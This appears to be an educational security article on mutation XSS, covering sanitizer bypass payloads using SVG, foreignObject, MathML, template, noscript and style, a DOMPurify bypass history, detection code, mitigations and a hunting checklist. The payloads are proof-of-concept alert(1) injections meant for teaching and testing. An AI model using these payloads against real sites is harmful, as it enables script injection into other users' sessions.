Quick answer
Mutation XSS (mXSS) happens when the HTML goes through sanitizer + browser parser and the browser mutates the HTML after sanitization, turning a "clean" payload into an executable one. Current vectors: SVG with foreignObject, namespace switching, badly-closed comments, MathML interfering with noscript/style, template tags. The most robust defense: sanitize after the mutation, not before.
The concept
Sanitizer:
Input: <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
Sanitized: <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
The sanitizer sees nothing dangerous (just a title attribute with a string). But when inserting into the DOM:
element.innerHTML = sanitized;
The browser re-parses. In some contexts (SVG vs HTML namespace), the parser interprets the </title> as a real closing tag, spits out the <img> and executes onerror.
Historical vectors
1. SVG namespace switch
<svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
In SVG context, <title> is CDATA-mode. The sanitizer passes it because "it's inside SVG." When inserting it into HTML, the browser switches from SVG to HTML namespace when closing </title> and processes <img> as a normal HTML tag.
2. SVG with foreignObject
<svg><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></svg>
foreignObject allows HTML content inside SVG. Some sanitizers allow SVG but don't detect that foreignObject reactivates HTML.
3. Badly-closed comments
<!--><img src=x onerror=alert(1)>-->
A valid comment is <!-- ... -->. But <!--> is an empty comment followed by normal HTML. Sanitizers that parse strict comments fail with this variant.
4. MathML
<math><mi xlink:href="data:x,<script>alert(1)</script>">click</mi></math>
MathML supports xlink:href. But when rendering it, the browser may interpret the data: as a script. Old sanitizers (pre-2020) didn't consider MathML.
5. Template element
<template><script>alert(1)</script></template>
Inside <template> the content isn't executed immediately. But when you move it to the DOM with appendChild(template.content), it is.
If the sanitizer allows template, the attacker puts the payload there, then a trigger in another event moves the content to the active DOM.
6. noscript with a script inside
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<noscript> is interpreted differently depending on the document's Content-Type. In application/xml vs text/html, the parser changes. Sanitizers from one context may fail when inserted into another.
7. STYLE element transition
<style><img src=x onerror=alert(1)></style>
Inside <style>, everything is CSS. But if the browser switches context (finding </style> or something that breaks the parser), it may emit the <img> to the DOM.
DOMPurify and its historical bypasses
DOMPurify is the de-facto standard sanitizer. It has a track record of mXSS patches:
- 2020 (CVE-2020-26870): SVG via attributes namespace.
- 2020: nested comments + foreignObject.
- 2021: HTML/SVG namespace switching via specific tags.
- 2022: prototype pollution via
__proto__keys. - 2023: edge cases with MathML annotation-xml.
- 2024: template element with noscript inside.
- 2025: namespace tricks with svg + table interaction.
Keeping DOMPurify up to date is critical. Versions below 2.4.x have known mXSS.
How to look for mXSS
1. Diff between input and output post-render
const input = '<svg><p title="</title><img src=x>"></p></svg>';
const sanitized = DOMPurify.sanitize(input);
console.log("Sanitized:", sanitized);
const div = document.createElement('div');
div.innerHTML = sanitized;
console.log("Post-render:", div.innerHTML);
If the Post-render is different from the Sanitized, there's a mutation. If the mutation introduces executable tags (img, script, iframe), mXSS.
2. Fuzzing combinations
Generate combinations <container><inner>...payload...</inner></container> with all possible containers (svg, math, table, noscript, template, style) and see which one mutates.
3. Manual testing in specific contexts
The context where the HTML is inserted affects the mutation:
<div>→ normal HTML.<svg>→ SVG namespace.<table>→ the table parser has extra rules (foster parenting).<select>→ only allows option as a child.
Always test the sanitizer in the same context where the output will be inserted.
Real case (anonymized)
A sanitizer allowed SVGs with the proper namespace. The attacker combines:
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(document.domain)">
<text x="50" y="50" text-anchor="middle">click me</text>
</a>
</svg>
The sanitizer allowed SVG and <a href="javascript:"> wasn't detected because the logic only blocked javascript: in HTML <a>, not in SVG <a>.
Inline render in the main DOM → executes javascript: on a click. Stored XSS if the SVG is stored in chat/comments.
(Full detail in the Academy article "Stored XSS via SVG href javascript in chat.")
Correct mitigation
- Maintained and updated sanitizer (DOMPurify, no custom rolls).
- Sanitize in the final context. Don't serialize and deserialize between sanitizer and render.
- Strong CSP as a second line:
script-src 'self'+'strict-dynamic'. Even if mXSS passes, without inline scripts the impact is nil. - Trusted Types API: forces passing the HTML through a
policy.createHTML(...)before you can use innerHTML. Hard to bypass. - No SVG/MathML/Template unless strictly necessary. Reduced tag whitelist.
- Re-render in a sandbox (sandboxed iframe) if the HTML comes from critical user input.
Hunting checklist
- Does the app allow user-input HTML (rich text editor, markdown rendering, comments with HTML)?
- Is the sanitizer DOMPurify? Which version? Look up CVEs.
- Does it allow SVG, MathML, foreignObject, template, noscript?
- What happens with
<svg><p title="</title><img>"></p></svg>? - What happens with namespace tricks (HTML inside SVG and vice versa)?
- Is there a custom-rolled sanitizer (instead of DOMPurify)? Almost always vulnerable.
- Is the insert context always HTML, or sometimes SVG / table / select?
Related labs
Practice mXSS against vulnerable DOMPurify versions and custom sanitizers: Mutation XSS labs.
Practice this in a lab
Xss
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.
postMessage — common vulnerabilities: origin bypass, XSS sink, cross-window IDOR
How to identify and exploit vulnerabilities in window.postMessage(): listeners without origin validation, insecure JSON payloads that reach DOM XSS, cross-origin IDOR.